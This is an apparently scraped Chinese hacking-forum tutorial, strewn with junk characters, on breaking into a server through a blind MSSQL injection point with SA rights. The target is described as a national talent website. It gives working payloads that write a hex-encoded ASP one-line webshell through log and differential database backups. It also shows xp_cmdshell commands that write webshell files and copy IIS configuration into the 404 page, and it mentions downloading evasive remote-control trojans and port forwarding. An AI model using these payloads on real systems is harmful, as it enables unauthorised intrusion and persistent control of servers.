sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————


0 I% R3 S- k7 q! `- ]7 M                                                             欢迎高手访问指导，欢迎新手朋友交流学习。

                                                                 
                                                                 
: }4 f' d* Q9 y8 A3 N2 h; F                                                                  论坛： http://www.90team.net/

: Y& [1 U( f2 b( x* e
3 ~; ?  m& m3 d: V  g2 t4 E% Y
友情检测国家人才网

9 n3 e+ Z7 B" T4 ?# u2 u
# C4 O7 T( S- I内容：MSSQL注入SA权限不显错模式下的入侵

  ~0 F9 m' d2 H, F
2 r8 C1 b* L! ?' d# \8 P$ e7 T一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。
, l* u1 t5 T( Q, C, _3 j% s2 M
我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。


1 J) T* T+ q" }( N这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
9 N3 {6 J! O) b" c0 ~% w) z
思路：
7 I/ ^* f5 S( c  M: s
首先：

通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。
1 j! F' ^8 Y; y5 t/ j, d
4 N7 t" y  L$ O$ P1 f1.日志备份获得Webshell
, D) m9 y  {$ S. P! K
5 O7 @; j) ?. B5 l  E2 g) y( r: }2.数据库差异备份获得Webshell

) W* w8 M  o3 W# L5 u4 H% O. n4.直接下载免杀远控木马。
' |' H1 S$ }1 u  G, v
5.直接下载LCX将服务器端口转发出来

6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。
) F8 \( q) o0 p
4 |: b( A; S7 b5 C/ ^
: B: P8 v9 E7 y
在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，

我直接演示后面一个方法

( ?/ O  w" c/ e  V4 d+ H9 R2 H
分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
0 m5 a' B) k  t
& t% U; ^5 N( h1 }4 E
. h6 t: y+ m6 o0 Q& f8 X
$ k9 _/ a( w, V2 C
◆日志备份：


& p' |. ]7 H" o/ e6 l2 g1. 进行初始备份
$ k5 U8 Q: z) d6 ~7 r; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--
/ B% y+ r+ `: o' ?
( r" N) }4 \! q2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

) \/ c5 `! L" ]2 @6 V0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
! v( \; K1 _$ ^. g# b3 h  
0 I! Y0 }& u6 S+ T3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
# \6 C/ v! M) n) c; k& a* N3 i
' @7 f# {% x* @, a# _
2 s" R# X- @% U& Y: U
4 \0 u$ v" }; t! S; L% I◆数据库差异备份
  E6 y/ ]6 t9 r8 l& b$ N( Z
（1. 进行差异备份准备工作

8 T# Z) o  W6 u8 Q;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码


（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
* e6 ^- I" K3 g2 U' F! \6 j
) c  J# V1 V0 E6 H7 i  p4 r1 a0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
! M$ j2 g- M5 N' `9 w7 k
0 c5 R3 W/ R  S* T: A$ D3. 备份数据库并清理临时文件
( K. G* t% w3 R% n
) i8 A3 U+ K8 |8 X;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

0x633A5C746573742E617370  为 c:\test.asp  删除临时文件


) M2 H; ?1 w7 a. @, f
用^转义字符来写ASP(一句话木马)文件的方法:   
5 K  L8 g( G' i7 }8 ~/ |( c4 Z+ S0 K
1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
; U! g7 V& m2 r0 h+ u) G" V/ ^
读取IIS配置信息获取web路径
) N; z  P6 J% Q# n0 H
, ~- n, Y: @( X4 u     
0 Z/ d9 L( K( }7 T0 i     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--
, o  {- _- R4 v- i0 x' e% S
执行命令
8 M7 n, e+ o+ d' L7 S     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--

$ _8 u3 O' C5 t
( r2 D! |& o5 R1 H$ ~



, m/ `9 J4 ]+ ~0 _- @8 M
) U3 e8 v' P& q: e

, ~* }6 |, P' I' A+ T
. g" z  M" e- s* X0 P9 \1 S
4 V: i8 W, }5 W" D8 N( w1 F$ r
/ a  R( F' T& t0 I. Q

) T4 b4 h% ?  q# `




3 [7 a2 a: j0 X3 |# \, U

# z- {" P: ~$ U8 H1 _
4 i" d% y0 U, n  B
+ V0 \7 }* i% I5 y
( n4 _7 n, T  `( x) x; [9 Q! Z
/ ?) X9 U8 K4 C9 `/ ~: r& {

' `( b- e" y/ I. h( o
  D  o; m# y' C* f7 i; |8 f5 z2 T
/ h+ p6 V: N: k6 P7 C
6 s$ G$ H7 o# |9 H) d+ C3 d) y" Q

* H# q/ N, r, A0 K+ }# p9 q
+ Y9 M% ]$ y4 w8 T. }
+ A9 T* U: d* r5 o/ }
3 @/ w# X0 Q! K- I
) Q% f2 T' F! P0 g5 z  e


0 D$ X2 L4 L' o


/ V# [! r! d& Y- J% |+ B* c

  N4 z& w1 P  }& {! c  T# x8 x


* ^0 W- D; c, N4 q+ j